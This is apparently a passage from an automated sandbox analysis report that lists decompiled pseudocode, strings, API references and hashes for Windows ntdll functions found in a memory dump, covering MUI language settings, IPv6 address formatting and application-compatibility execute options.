Opcode Fuzzy Hash: 6e5e409cf338bac94f49896e83b2b8a287e5016741aed655f6c9dd643cd52d5d
Instruction Fuzzy Hash: B1B012B2200540C7E319D714D906F4B7210FB80F00F40893AB10B81862DB3C992CD45A

Uniqueness

Uniqueness Score: -1.00%

Function 00B68788, Relevance: 19.7, APIs: 6, Strings: 5, Instructions: 431
COMMON

Download Yara Rule

C-Code - Quality: 94%

			E00B68788(signed int __ecx, void* __edx, signed int _a4) {
				signed int _v8;
				short* _v12;
				void* _v16;
				signed int _v20;
				char _v24;
				signed int _v28;
				signed int _v32;
				char _v36;
				signed int _v40;
				char _v44;
				signed int _v48;
				signed int _v52;
				signed int _v56;
				signed int _v60;
				char _v68;
				void* _t216;
				intOrPtr _t231;
				short* _t235;
				intOrPtr _t257;
				short* _t261;
				intOrPtr _t284;
				intOrPtr _t288;
				void* _t314;
				signed int _t318;
				short* _t319;
				intOrPtr _t321;
				void* _t328;
				void* _t329;
				char* _t332;
				signed int _t333;
				signed int* _t334;
				void* _t335;
				void* _t338;
				void* _t339;

				_t328 = __edx;
				_t322 = __ecx;
				_t318 = 0;
				_t334 = _a4;
				_v8 = 0;
				_v28 = 0;
				_v48 = 0;
				_v20 = 0;
				_v40 = 0;
				_v32 = 0;
				_v52 = 0;
				if(_t334 == 0) {
					_t329 = 0xc000000d;
					L49:
					_t334[0x11] = _v56;
					 *_t334 =  *_t334 | 0x00000800;
					_t334[0x12] = _v60;
					_t334[0x13] = _v28;
					_t334[0x17] = _v20;
					_t334[0x16] = _v48;
					_t334[0x18] = _v40;
					_t334[0x14] = _v32;
					_t334[0x15] = _v52;
					return _t329;
				}
				_v56 = 0;
				if(E00B68460(__ecx, L"WindowsExcludedProcs",  &_v44,  &_v24,  &_v8) >= 0) {
					_v56 = 1;
					if(_v8 != 0) {
						_t207 = E00B4E025(__ecx,  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x18] + 0x30)) + 0x18)), 0, _v8);
					}
					_push(1);
					_v8 = _t318;
					E00B6718A(_t207);
					_t335 = _t335 + 4;
				}
				_v60 = _v60 | 0xffffffff;
				if(E00B68460(_t322, L"Kernel-MUI-Number-Allowed",  &_v44,  &_v24,  &_v8) >= 0) {
					_t333 =  *_v8;
					_v60 = _t333;
					_t314 = E00B4E025(_t322,  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x18] + 0x30)) + 0x18)), _t318, _v8);
					_push(_t333);
					_v8 = _t318;
					E00B6718A(_t314);
					_t335 = _t335 + 4;
				}
				_t216 = E00B68460(_t322, L"Kernel-MUI-Language-Allowed",  &_v44,  &_v24,  &_v8);
				_t332 = ";";
				if(_t216 < 0) {
					L17:
					if(E00B68460(_t322, L"Kernel-MUI-Language-Disallowed",  &_v44,  &_v24,  &_v8) < 0) {
						L30:
						if(E00B68460(_t322, L"Kernel-MUI-Language-SKU",  &_v44,  &_v24,  &_v8) < 0) {
							L46:
							_t329 = 0;
							L47:
							if(_v8 != _t318) {
								E00B4E025(_t322,  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x18] + 0x30)) + 0x18)), _t318, _v8);
							}
							if(_v28 != _t318) {
								if(_v20 != _t318) {
									E00B4E025(_t322,  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x18] + 0x30)) + 0x18)), _t318, _v20);
									_v20 = _t318;
									_v40 = _t318;
								}
							}
							goto L49;
						}
						_t231 = _v24;
						_t322 = _t231 + 4;
						_push(_t231);
						_v52 = _t322;
						E00B6718A(_t231);
						if(_t322 == _t318) {
							_v32 = _t318;
						} else {
							_v32 = E00B4E0C6( *((intOrPtr*)( *((intOrPtr*)( *[fs:0x18] + 0x30)) + 0x18)), 8, _t322);
						}
						if(_v32 == _t318) {
							_v52 = _t318;
							L58:
							_t329 = 0xc0000017;
							goto L47;
						} else {
							E00B42340(_v32, _v8, _v24);
							_v16 = _v32;
							_a4 = _t318;
							_t235 = E00B5E679(_v32, _t332);
							while(1) {
								_t319 = _t235;
								if(_t319 == 0) {
									break;
								}
								 *_t319 = 0;
								_t321 = _t319 + 2;
								E00B4E2A8(_t322,  &_v68, _v16);
								if(E00B65553(_t328,  &_v68,  &_v36) != 0) {
									_a4 = _a4 + 1;
								}
								_v16 = _t321;
								_t235 = E00B5E679(_t321, _t332);
								_pop(_t322);
							}
							_t236 = _v16;
							if( *_v16 != _t319) {
								E00B4E2A8(_t322,  &_v68, _t236);
								if(E00B65553(_t328,  &_v68,  &_v36) != 0) {
									_a4 = _a4 + 1;
								}
							}
							if(_a4 == 0) {
								E00B4E025(_t322,  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x18] + 0x30)) + 0x18)), 0, _v32);
								_v52 = _v52 & 0x00000000;
								_v32 = _v32 & 0x00000000;
							}
							if(_v8 != 0) {
								E00B4E025(_t322,  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x18] + 0x30)) + 0x18)), 0, _v8);
							}
							_v8 = _v8 & 0x00000000;
							_t318 = 0;
							goto L46;
						}
					}
					_t257 = _v24;
					_t322 = _t257 + 4;
					_push(_t257);
					_v40 = _t322;
					E00B6718A(_t257);
					_t338 = _t335 + 4;
					if(_t322 == _t318) {
						_v20 = _t318;
					} else {
						_v20 = E00B4E0C6( *((intOrPtr*)( *((intOrPtr*)( *[fs:0x18] + 0x30)) + 0x18)), 8, _t322);
					}
					if(_v20 == _t318) {
						_v40 = _t318;
						goto L58;
					} else {
						E00B42340(_v20, _v8, _v24);
						_v16 = _v20;
						_a4 = _t318;
						_t261 = E00B5E679(_v20, _t332);
						_t335 = _t338 + 0x14;
						while(1) {
							_v12 = _t261;
							if(_t261 == _t318) {
								break;
							}
							_v12 = _v12 + 2;
							 *_v12 = 0;
							E00B4E2A8(_v12,  &_v68, _v16);
							if(E00B65553(_t328,  &_v68,  &_v36) != 0) {
								_a4 = _a4 + 1;
							}
							_v16 = _v12;
							_t261 = E00B5E679(_v12, _t332);
							_pop(_t322);
						}
						_t269 = _v16;
						if( *_v16 != _t318) {
							E00B4E2A8(_t322,  &_v68, _t269);
							if(E00B65553(_t328,  &_v68,  &_v36) != 0) {
								_a4 = _a4 + 1;
							}
						}
						if(_a4 == _t318) {
							E00B4E025(_t322,  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x18] + 0x30)) + 0x18)), _t318, _v20);
							_v40 = _t318;
							_v20 = _t318;
						}
						if(_v8 != _t318) {
							E00B4E025(_t322,  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x18] + 0x30)) + 0x18)), _t318, _v8);
						}
						_v8 = _t318;
						goto L30;
					}
				}
				_t284 = _v24;
				_t322 = _t284 + 4;
				_push(_t284);
				_v48 = _t322;
				E00B6718A(_t284);
				_t339 = _t335 + 4;
				if(_t322 == _t318) {
					_v28 = _t318;
				} else {
					_v28 = E00B4E0C6( *((intOrPtr*)( *((intOrPtr*)( *[fs:0x18] + 0x30)) + 0x18)), 8, _t322);
				}
				if(_v28 == _t318) {
					_v48 = _t318;
					goto L58;
				} else {
					E00B42340(_v28, _v8, _v24);
					_v16 = _v28;
					_a4 = _t318;
					_t288 = E00B5E679(_v28, _t332);
					_t335 = _t339 + 0x14;
					while(1) {
						_v12 = _t288;
						if(_t288 == _t318) {
							break;
						}
						_v12 = _v12 + 2;
						 *_v12 = 0;
						E00B4E2A8(_v12,  &_v68, _v16);
						if(E00B65553(_t328,  &_v68,  &_v36) != 0) {
							_a4 = _a4 + 1;
						}
						_v16 = _v12;
						_t288 = E00B5E679(_v12, _t332);
						_pop(_t322);
					}
					_t296 = _v16;
					if( *_v16 != _t318) {
						E00B4E2A8(_t322,  &_v68, _t296);
						if(E00B65553(_t328,  &_v68,  &_v36) != 0) {
							_a4 = _a4 + 1;
						}
					}
					if(_a4 == _t318) {
						E00B4E025(_t322,  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x18] + 0x30)) + 0x18)), _t318, _v28);
						_v48 = _t318;
						_v28 = _t318;
					}
					if(_v8 != _t318) {
						E00B4E025(_t322,  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x18] + 0x30)) + 0x18)), _t318, _v8);
					}
					_v8 = _t318;
					goto L17;
				}
			}

0x00b68788
0x00b68788
0x00b68791
0x00b68794
0x00b68798
0x00b6879b
0x00b6879e
0x00b687a1
0x00b687a4
0x00b687a7
0x00b687aa
0x00b687af
0x00bb1ad3
0x00b68b0a
0x00b68b0d
0x00b68b13
0x00b68b19
0x00b68b1f
0x00b68b25
0x00b68b2b
0x00b68b31
0x00b68b37
0x00b68b3d
0x00b68b46
0x00b68b46
0x00b687c6
0x00b687d0
0x00bb1ae0
0x00bb1ae6
0x00bb1af8
0x00bb1af8
0x00bb1afd
0x00bb1afe
0x00bb1b01
0x00bb1b06
0x00bb1b06
0x00b687d6
0x00b687f2
0x00b687f7
0x00b68807
0x00b6880a
0x00b6880f
0x00b68810
0x00b68813
0x00b68818
0x00b68818
0x00b6882c
0x00b68831
0x00b68838
0x00b68908
0x00b68920
0x00b689f0
0x00b68a08
0x00b68af6
0x00b68af6
0x00b68af8
0x00b68afb
0x00bb1beb
0x00bb1beb
0x00b68b04
0x00bb1bf8
0x00bb1c0e
0x00bb1c13
0x00bb1c16
0x00bb1c16
0x00bb1bf8
0x00000000
0x00b68b04
0x00b68a0e
0x00b68a11
0x00b68a14
0x00b68a15
0x00b68a18
0x00b68a22
0x00b68b59
0x00b68a28
0x00b68a3c
0x00b68a3c
0x00b68a42
0x00bb1bb0
0x00bb1b11
0x00bb1b11
0x00000000
0x00b68a48
0x00b68a51
0x00b68a5b
0x00b68a5e
0x00b68a61
0x00b68a69
0x00b68a69
0x00b68a6d
0x00000000
0x00000000
0x00b68a74
0x00b68a7c
0x00b68a7d
0x00b68a91
0x00b68a93
0x00b68a93
0x00b68a98
0x00b68a9b
0x00b68aa1
0x00b68aa1
0x00b68aa4
0x00b68aaa
0x00b68ab1
0x00b68ac5
0x00b68ac7
0x00b68ac7
0x00b68ac5
0x00b68ace
0x00bb1bc9
0x00bb1bce
0x00bb1bd2
0x00bb1bd2
0x00b68ad8
0x00b68aeb
0x00b68aeb
0x00b68af0
0x00b68af4
0x00000000
0x00b68af4
0x00b68a42
0x00b68926
0x00b68929
0x00b6892c
0x00b6892d
0x00b68930
0x00b68935
0x00b6893a
0x00b68b51
0x00b68940
0x00b68954
0x00b68954
0x00b6895a
0x00bb1b63
0x00000000
0x00b68960
0x00b68969
0x00b68973
0x00b68976
0x00b68979
0x00b6897e
0x00b68981
0x00b68981
0x00b68986
0x00000000
0x00000000
0x00bb1b6e
0x00bb1b74
0x00bb1b7b
0x00bb1b8f
0x00bb1b91
0x00bb1b91
0x00bb1b99
0x00bb1b9c
0x00bb1ba2
0x00bb1ba2
0x00b6898c
0x00b68992
0x00b68999
0x00b689ad
0x00bb1ba8
0x00bb1ba8
0x00b689ad
0x00b689b6
0x00b689c8
0x00b689cd
0x00b689d0
0x00b689d0
0x00b689d6
0x00b689e8
0x00b689e8
0x00b689ed
0x00000000
0x00b689ed
0x00b6895a
0x00b6883e
0x00b68841
0x00b68844
0x00b68845
0x00b68848
0x00b6884d
0x00b68852
0x00b68b49
0x00b68858
0x00b6886c
0x00b6886c
0x00b68872
0x00bb1b0e
0x00000000
0x00b68878
0x00b68881
0x00b6888b
0x00b6888e
0x00b68891
0x00b68896
0x00b68899
0x00b68899
0x00b6889e
0x00000000
0x00000000
0x00bb1b21
0x00bb1b27
0x00bb1b2e
0x00bb1b42
0x00bb1b44
0x00bb1b44
0x00bb1b4c
0x00bb1b4f
0x00bb1b55
0x00bb1b55
0x00b688a4
0x00b688aa
0x00b688b1
0x00b688c5
0x00bb1b5b
0x00bb1b5b
0x00b688c5
0x00b688ce
0x00b688e0
0x00b688e5
0x00b688e8
0x00b688e8
0x00b688ee
0x00b68900
0x00b68900
0x00b68905
0x00000000
0x00b68905

APIs

_wcspbrk.LIBCMT ref: 00B68891
_wcspbrk.LIBCMT ref: 00B68979
_wcspbrk.LIBCMT ref: 00B68A61
_wcspbrk.LIBCMT ref: 00B68A9B
_wcspbrk.LIBCMT ref: 00BB1B9C

Strings

Kernel-MUI-Language-SKU, xrefs: 00B689FC
Kernel-MUI-Number-Allowed, xrefs: 00B687E6
WindowsExcludedProcs, xrefs: 00B687C1
Kernel-MUI-Language-Disallowed, xrefs: 00B68914
Kernel-MUI-Language-Allowed, xrefs: 00B68827

Memory Dump Source

Source File: 00000005.00000002.2218407921.0000000000B30000.00000040.00000001.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000005.00000002.2218403446.0000000000B20000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2218478563.0000000000C10000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2218486323.0000000000C20000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2218496017.0000000000C24000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2218500633.0000000000C27000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2218504484.0000000000C30000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2218532510.0000000000C90000.00000040.00000001.sdmp Download File

Similarity

API ID: _wcspbrk
String ID: Kernel-MUI-Language-Allowed$Kernel-MUI-Language-Disallowed$Kernel-MUI-Language-SKU$Kernel-MUI-Number-Allowed$WindowsExcludedProcs
API String ID: 402402107-258546922
Opcode ID: 4b1667188243e30cd696b7fa4f92352ad18428568e0c9c2ad77a74bcbad1ccb3
Instruction ID: f23902d790b1697aa9376a99a9497f5c684de302deb716618c5d6d6db3c50100
Opcode Fuzzy Hash: 4b1667188243e30cd696b7fa4f92352ad18428568e0c9c2ad77a74bcbad1ccb3
Instruction Fuzzy Hash: 2AF1D3B2D00209EFCF11DF98C981AEEBBF8FB08300F1445AAE515A7251EB75DA45DB61

Uniqueness

Uniqueness Score: -1.00%

Function 00B813CB, Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 195
COMMON

Download Yara Rule

C-Code - Quality: 38%

			E00B813CB(intOrPtr* _a4, intOrPtr _a8) {
				char _v8;
				intOrPtr _v12;
				intOrPtr* _v16;
				intOrPtr _v20;
				char _v24;
				intOrPtr _t71;
				signed int _t78;
				signed int _t86;
				char _t90;
				signed int _t91;
				signed int _t96;
				intOrPtr _t108;
				signed int _t114;
				void* _t115;
				intOrPtr _t128;
				intOrPtr* _t129;
				void* _t130;

				_t129 = _a4;
				_t128 = _a8;
				_t116 = 0;
				_t71 = _t128 + 0x5c;
				_v8 = 8;
				_v20 = _t71;
				if( *_t129 == 0) {
					if( *((intOrPtr*)(_t129 + 2)) != 0 ||  *((intOrPtr*)(_t129 + 4)) != 0 ||  *((intOrPtr*)(_t129 + 6)) != 0 ||  *(_t129 + 0xc) == 0) {
						goto L5;
					} else {
						_t96 =  *(_t129 + 8) & 0x0000ffff;
						if(_t96 != 0) {
							L38:
							if(_t96 != 0xffff ||  *(_t129 + 0xa) != _t116) {
								goto L5;
							} else {
								_push( *(_t129 + 0xf) & 0x000000ff);
								_push( *(_t129 + 0xe) & 0x000000ff);
								_push( *(_t129 + 0xd) & 0x000000ff);
								_t86 = E00B77707(_t128, _t71 - _t128 >> 1, L"::ffff:0:%u.%u.%u.%u",  *(_t129 + 0xc) & 0x000000ff);
								L36:
								return _t128 + _t86 * 2;
							}
						}
						_t114 =  *(_t129 + 0xa) & 0x0000ffff;
						if(_t114 == 0) {
							L33:
							_t115 = 0xb42926;
							L35:
							_push( *(_t129 + 0xf) & 0x000000ff);
							_push( *(_t129 + 0xe) & 0x000000ff);
							_push( *(_t129 + 0xd) & 0x000000ff);
							_push( *(_t129 + 0xc) & 0x000000ff);
							_t86 = E00B77707(_t128, _t71 - _t128 >> 1, L"::%hs%u.%u.%u.%u", _t115);
							goto L36;
						}
						if(_t114 != 0xffff) {
							_t116 = 0;
							goto L38;
						}
						if(_t114 != 0) {
							_t115 = 0xb49cac;
							goto L35;
						}
						goto L33;
					}
				} else {
					L5:
					_a8 = _t116;
					_a4 = _t116;
					_v12 = _t116;
					if(( *(_t129 + 8) & 0x0000fffd) == 0) {
						if( *(_t129 + 0xa) == 0xfe5e) {
							_v8 = 6;
						}
					}
					_t90 = _v8;
					if(_t90 <= _t116) {
						L11:
						if(_a8 - _a4 <= 1) {
							_a8 = _t116;
							_a4 = _t116;
						}
						_t91 = 0;
						if(_v8 <= _t116) {
							L22:
							if(_v8 < 8) {
								_push( *(_t129 + 0xf) & 0x000000ff);
								_push( *(_t129 + 0xe) & 0x000000ff);
								_push( *(_t129 + 0xd) & 0x000000ff);
								_t128 = _t128 + E00B77707(_t128, _t71 - _t128 >> 1, L":%u.%u.%u.%u",  *(_t129 + 0xc) & 0x000000ff) * 2;
							}
							return _t128;
						} else {
							L14:
							L14:
							if(_a4 > _t91 || _t91 >= _a8) {
								if(_t91 != _t116 && _t91 != _a8) {
									_push(":");
									_push(_t71 - _t128 >> 1);
									_push(_t128);
									_t128 = _t128 + E00B77707() * 2;
									_t71 = _v20;
									_t130 = _t130 + 0xc;
								}
								_t78 = E00B77707(_t128, _t71 - _t128 >> 1, L"%x",  *(_t129 + _t91 * 2) & 0x0000ffff);
								_t130 = _t130 + 0x10;
							} else {
								_push(L"::");
								_push(_t71 - _t128 >> 1);
								_push(_t128);
								_t78 = E00B77707();
								_t130 = _t130 + 0xc;
								_t91 = _a8 - 1;
							}
							_t91 = _t91 + 1;
							_t128 = _t128 + _t78 * 2;
							_t71 = _v20;
							if(_t91 >= _v8) {
								goto L22;
							}
							_t116 = 0;
							goto L14;
						}
					} else {
						_t108 = 1;
						_v16 = _t129;
						_v24 = _t90;
						do {
							if( *_v16 == _t116) {
								if(_t108 - _v12 > _a8 - _a4) {
									_a4 = _v12;
									_a8 = _t108;
								}
								_t116 = 0;
							} else {
								_v12 = _t108;
							}
							_v16 = _v16 + 2;
							_t108 = _t108 + 1;
							_t26 =  &_v24;
							 *_t26 = _v24 - 1;
						} while ( *_t26 != 0);
						goto L11;
					}
				}
			}

0x00b813d5
0x00b813d9
0x00b813dc
0x00b813de
0x00b813e1
0x00b813e8
0x00b813ee
0x00bae8fd
0x00000000
0x00bae921
0x00bae921
0x00bae928
0x00bae982
0x00bae98a
0x00000000
0x00bae99a
0x00bae99e
0x00bae9a3
0x00bae9a8
0x00bae9b9
0x00bae978
0x00000000
0x00bae978
0x00bae98a
0x00bae92a
0x00bae931
0x00bae944
0x00bae944
0x00bae950
0x00bae954
0x00bae959
0x00bae95e
0x00bae963
0x00bae970
0x00000000
0x00bae975
0x00bae93b
0x00bae980
0x00000000
0x00bae980
0x00bae942
0x00bae94b
0x00000000
0x00bae94b
0x00000000
0x00bae942
0x00b813f4
0x00b813f4
0x00b813f9
0x00b813fc
0x00b813ff
0x00b81406
0x00bae9cc
0x00bae9d2
0x00bae9d2
0x00bae9cc
0x00b8140c
0x00b81411
0x00b81431
0x00b8143a
0x00b8143c
0x00b8143f
0x00b8143f
0x00b81442
0x00b81447
0x00b814a8
0x00b814ac
0x00bae9e2
0x00bae9e7
0x00bae9ec
0x00baea05
0x00baea05
0x00000000
0x00b81449
0x00000000
0x00b81449
0x00b8144c
0x00b81459
0x00b81462
0x00b81469
0x00b8146a
0x00b81470
0x00b81473
0x00b81476
0x00b81476
0x00b81490
0x00b81495
0x00b8138e
0x00b81390
0x00b81397
0x00b81398
0x00b81399
0x00b813a1
0x00b813a4
0x00b813a4
0x00b81498
0x00b8149c
0x00b8149f
0x00b814a2
0x00000000
0x00000000
0x00b814a4
0x00000000
0x00b814a4
0x00b81413
0x00b81415
0x00b81416
0x00b81419
0x00b8141c
0x00b81422
0x00b813b7
0x00b813bc
0x00b813bf
0x00b813bf
0x00b813c2
0x00b81424
0x00b81424
0x00b81424
0x00b81427
0x00b8142b
0x00b8142c
0x00b8142c
0x00b8142c
0x00000000
0x00b8141c
0x00b81411

APIs

___swprintf_l.LIBCMT ref: 00B8146B
___swprintf_l.LIBCMT ref: 00B81490
___swprintf_l.LIBCMT ref: 00BAE970

Strings

::%hs%u.%u.%u.%u, xrefs: 00BAE967
ffff:, xrefs: 00BAE94B
:%u.%u.%u.%u, xrefs: 00BAE9F4
::ffff:0:%u.%u.%u.%u, xrefs: 00BAE9B0

Memory Dump Source

Source File: 00000005.00000002.2218407921.0000000000B30000.00000040.00000001.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000005.00000002.2218403446.0000000000B20000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2218478563.0000000000C10000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2218486323.0000000000C20000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2218496017.0000000000C24000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2218500633.0000000000C27000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2218504484.0000000000C30000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2218532510.0000000000C90000.00000040.00000001.sdmp Download File

Similarity

API ID: ___swprintf_l
String ID: :%u.%u.%u.%u$::%hs%u.%u.%u.%u$::ffff:0:%u.%u.%u.%u$ffff:
API String ID: 48624451-2108815105
Opcode ID: 9e90dae71d72478fa5715dbd458c797150a3711a8526268684392413ddde9e20
Instruction ID: 332373df834e7a34b17b2b5d7973265f6ef2bd857e7da91f57264a5686d611fe
Opcode Fuzzy Hash: 9e90dae71d72478fa5715dbd458c797150a3711a8526268684392413ddde9e20
Instruction Fuzzy Hash: AD6147B1904655AACB24EF5DC8808BF7BF9EF95300B18C8ADF4AA47650D634AA41DB60

Uniqueness

Uniqueness Score: -1.00%

Function 00B77EFD, Relevance: 14.1, APIs: 1, Strings: 7, Instructions: 127
COMMON

Download Yara Rule

C-Code - Quality: 64%

			E00B77EFD(void* __ecx, intOrPtr _a4) {
				signed int _v8;
				char _v540;
				unsigned int _v544;
				signed int _v548;
				intOrPtr _v552;
				char _v556;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t33;
				void* _t38;
				unsigned int _t46;
				unsigned int _t47;
				unsigned int _t52;
				intOrPtr _t56;
				unsigned int _t62;
				void* _t69;
				void* _t70;
				intOrPtr _t72;
				signed int _t73;
				void* _t74;
				void* _t75;
				void* _t76;
				void* _t77;

				_t33 =  *0xc22088; // 0x776bde31
				_v8 = _t33 ^ _t73;
				_v548 = _v548 & 0x00000000;
				_t72 = _a4;
				if(E00B77F4F(__ecx, _t72 + 0x2c,  &_v548) >= 0) {
					__eflags = _v548;
					if(_v548 == 0) {
						goto L1;
					}
					_t62 = _t72 + 0x24;
					E00B93F92(0x55, 3, "CLIENT(ntdll): Found CheckAppHelp = %d for %wZ in ImageFileExecutionOptions\n", _v548);
					_t71 = 0x214;
					_v544 = 0x214;
					E00B4DFC0( &_v540, 0, 0x214);
					_t75 = _t74 + 0x20;
					_t46 =  *0xc24218( *((intOrPtr*)(_t72 + 0x28)),  *((intOrPtr*)(_t72 + 0x18)),  *((intOrPtr*)(_t72 + 0x20)), L"ExecuteOptions",  &_v556,  &_v540,  &_v544, _t62);
					__eflags = _t46;
					if(_t46 == 0) {
						goto L1;
					}
					_t47 = _v544;
					__eflags = _t47;
					if(_t47 == 0) {
						goto L1;
					}
					__eflags = _t47 - 0x214;
					if(_t47 >= 0x214) {
						goto L1;
					}
					_push(_t62);
					 *((short*)(_t73 + (_t47 >> 1) * 2 - 0x21a)) = 0;
					E00B93F92(0x55, 3, "CLIENT(ntdll): Found ExecuteOptions = %ws for %wZ in application compatibility database\n",  &_v540);
					_t52 = E00B50D27( &_v540, L"Execute=1");
					_t76 = _t75 + 0x1c;
					_push(_t62);
					__eflags = _t52;
					if(_t52 == 0) {
						E00B93F92(0x55, 3, "CLIENT(ntdll): Processing %ws for patching section protection for %wZ\n",  &_v540);
						_t71 =  &_v540;
						_t56 = _t73 + _v544 - 0x218;
						_t77 = _t76 + 0x14;
						_v552 = _t56;
						__eflags = _t71 - _t56;
						if(_t71 >= _t56) {
							goto L1;
						} else {
							goto L10;
						}
						while(1) {
							L10:
							_t62 = E00B58375(_t71, 0x20);
							_pop(_t69);
							__eflags = _t62;
							if(__eflags != 0) {
								__eflags = 0;
								 *_t62 = 0;
							}
							E00B93F92(0x55, 3, "CLIENT(ntdll): Processing section info %ws...\n", _t71);
							_t77 = _t77 + 0x10;
							E00BBE8DB(_t69, _t70, __eflags, _t72, _t71);
							__eflags = _t62;
							if(_t62 == 0) {
								goto L1;
							}
							_t31 = _t62 + 2; // 0x2
							_t71 = _t31;
							__eflags = _t71 - _v552;
							if(_t71 >= _v552) {
								goto L1;
							}
						}
					}
					_push("CLIENT(ntdll): Found Execute=1, turning off execution protection for the process because of %wZ\n");
					_push(3);
					_push(0x55);
					E00B93F92();
					_t38 = 1;
					L2:
					return E00B4E1B4(_t38, _t62, _v8 ^ _t73, _t70, _t71, _t72);
				}
				L1:
				_t38 = 0;
				goto L2;
			}

0x00b77f08
0x00b77f0f
0x00b77f12
0x00b77f1b
0x00b77f31
0x00b93ead
0x00b93eb4
0x00000000
0x00000000
0x00b93eba
0x00b93ecd
0x00b93ed2
0x00b93ee1
0x00b93ee7
0x00b93eec
0x00b93f12
0x00b93f18
0x00b93f1a
0x00000000
0x00000000
0x00b93f20
0x00b93f26
0x00b93f28
0x00000000
0x00000000
0x00b93f2e
0x00b93f30
0x00000000
0x00000000
0x00b93f3a
0x00b93f3b
0x00b93f53
0x00b93f64
0x00b93f69
0x00b93f6c
0x00b93f6d
0x00b93f6f
0x00b9e304
0x00b9e30f
0x00b9e315
0x00b9e31e
0x00b9e321
0x00b9e327
0x00b9e329
0x00000000
0x00000000
0x00000000
0x00000000
0x00b9e32f
0x00b9e32f
0x00b9e337
0x00b9e33a
0x00b9e33b
0x00b9e33d
0x00b9e33f
0x00b9e341
0x00b9e341
0x00b9e34e
0x00b9e353
0x00b9e358
0x00b9e35d
0x00b9e35f
0x00000000
0x00000000
0x00b9e365
0x00b9e365
0x00b9e368
0x00b9e36e
0x00000000
0x00000000
0x00b9e374
0x00b9e32f
0x00b93f75
0x00b93f7a
0x00b93f7c
0x00b93f7e
0x00b93f86
0x00b77f39
0x00b77f47
0x00b77f47
0x00b77f37
0x00b77f37
0x00000000

APIs

BaseQueryModuleData.KERNEL32(?,00000000,00000000,ExecuteOptions,?,?,?), ref: 00B93F12

Strings

CLIENT(ntdll): Found ExecuteOptions = %ws for %wZ in application compatibility database, xrefs: 00B93F4A
CLIENT(ntdll): Processing section info %ws..., xrefs: 00B9E345
CLIENT(ntdll): Found CheckAppHelp = %d for %wZ in ImageFileExecutionOptions, xrefs: 00B93EC4
ExecuteOptions, xrefs: 00B93F04
CLIENT(ntdll): Found Execute=1, turning off execution protection for the process because of %wZ, xrefs: 00B93F75
CLIENT(ntdll): Processing %ws for patching section protection for %wZ, xrefs: 00B9E2FB
Execute=1, xrefs: 00B93F5E

Memory Dump Source

Source File: 00000005.00000002.2218407921.0000000000B30000.00000040.00000001.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000005.00000002.2218403446.0000000000B20000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2218478563.0000000000C10000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2218486323.0000000000C20000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2218496017.0000000000C24000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2218500633.0000000000C27000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2218504484.0000000000C30000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2218532510.0000000000C90000.00000040.00000001.sdmp Download File

Similarity

API ID: BaseDataModuleQuery
String ID: CLIENT(ntdll): Found CheckAppHelp = %d for %wZ in ImageFileExecutionOptions$CLIENT(ntdll): Found Execute=1, turning off execution protection for the process because of %wZ$CLIENT(ntdll): Found ExecuteOptions = %ws for %wZ in application compatibility database$CLIENT(ntdll): Processing %ws for patching section protection for %wZ$CLIENT(ntdll): Processing section info %ws...$Execute=1$ExecuteOptions
API String ID: 3901378454-484625025
Opcode ID: 42c37a44a3630d9a053616ab1525b3885e70b09afc6c8ffd97459186ced183d7
Instruction ID: a99b4f40ac2215f913c748046992d2964088fef7006c3251bacb43abb7776f38
Opcode Fuzzy Hash: 42c37a44a3630d9a053616ab1525b3885e70b09afc6c8ffd97459186ced183d7
Instruction Fuzzy Hash: 2741B371A8021CBBDF209B94DCD6FEA73FCAF14700F0045E9F519A6091EA709B459B61

Uniqueness

Uniqueness Score: -1.00%

Function 00B80B15, Relevance: 12.5, APIs: 4, Strings: 3, Instructions: 272
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00B80B15(intOrPtr* _a4, char _a7, intOrPtr* _a8, intOrPtr _a12) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				signed int _v28;
				signed int _v32;
				void* _t108;
				void* _t116;
				char _t120;
				short _t121;
				void* _t128;
				intOrPtr* _t130;
				char _t132;
				short _t133;
				intOrPtr _t141;
				signed int _t156;
				signed int _t174;
				intOrPtr _t177;
				intOrPtr* _t179;
				intOrPtr _t180;
				void* _t183;

				_t179 = _a4;
				_t141 =  *_t179;
				_v16 = 0;
				_v28 = 0;
				_v8 = 0;
				_v24 = 0;
				_v12 = 0;
				_v32 = 0;
				_v20 = 0;
				if(_t141 == 0) {
					L41:
					 *_a8 = _t179;
					_t180 = _v24;
					if(_t180 != 0) {
						if(_t180 != 3) {
							goto L6;
						}
						_v8 = _v8 + 1;
					}
					_t174 = _v32;
					if(_t174 == 0) {
						if(_v8 == 7) {
							goto L43;
						}
						goto L6;
					}
					L43:
					if(_v16 != 1) {
						if(_v16 != 2) {
							goto L6;
						}
						 *((short*)(_a12 + _v20 * 2)) = 0;
						L47:
						if(_t174 != 0) {
